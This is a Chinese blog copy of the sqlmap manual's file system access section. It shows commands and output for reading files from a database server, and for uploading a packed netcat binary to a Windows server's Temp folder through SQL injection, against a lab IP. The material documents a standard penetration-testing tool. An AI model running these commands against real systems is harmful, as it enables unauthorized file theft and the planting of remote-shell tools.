用法-文件系统访问-sqlmap用户手册-测试-IT技术博客

文件系统访问


从数据库服务器的文件系统读取文件

选项:--file-read


当后端数据库管理系统是MySQL,PostgreSQL或Microsoft SQL Server,并且会话用户具有滥用数据库特定功能和体系结构弱点所需的特权时,可以从基础文件系统中检索文件的内容。指定的文件可以是文本文件或二进制文件。 sqlmap将正确处理它。


这些技术在白皮书“高级SQL注入到操作系统的完全控制”中有详细介绍。


针对Microsoft SQL Server 2005目标以检索二进制文件的示例:

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?nam\
e=luther" --file-read "C:/example.exe" -v 1
[...]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to:    '/software/sqlmap/output/192.168.136.129/files/
C__example.exe'
[...]
$ ls -l output/192.168.136.129/files/C__example.exe 
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C_
_example.exe
$ file output/192.168.136.129/files/C__example.exe 
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI
) Intel 80386 32-bit

将文件上传到数据库服务器的文件系统

选项:--file-write和--file-dest


当后端数据库管理系统是MySQL,PostgreSQL或Microsoft SQL Server,并且会话用户具有滥用数据库特定功能和体系结构弱点所需的特权时,可以将本地文件上载到数据库服务器的文件系统。 指定的文件可以是文本文件或二进制文件。 sqlmap将正确处理它。


这些技术在白皮书“高级SQL注入到操作系统的完全控制”中有详细介绍。


针对MySQL目标上传二进制UPX压缩文件的示例:

$ file /software/nc.exe.packed 
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32
-bit
$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" -\
-file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1
[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0
[...]
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been success
fully written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes, 
same size as the local file '/software/nc.exe.packed'



标签: sqlmap教程sqlmapsqlmap手册用户手册sqlmap用户手册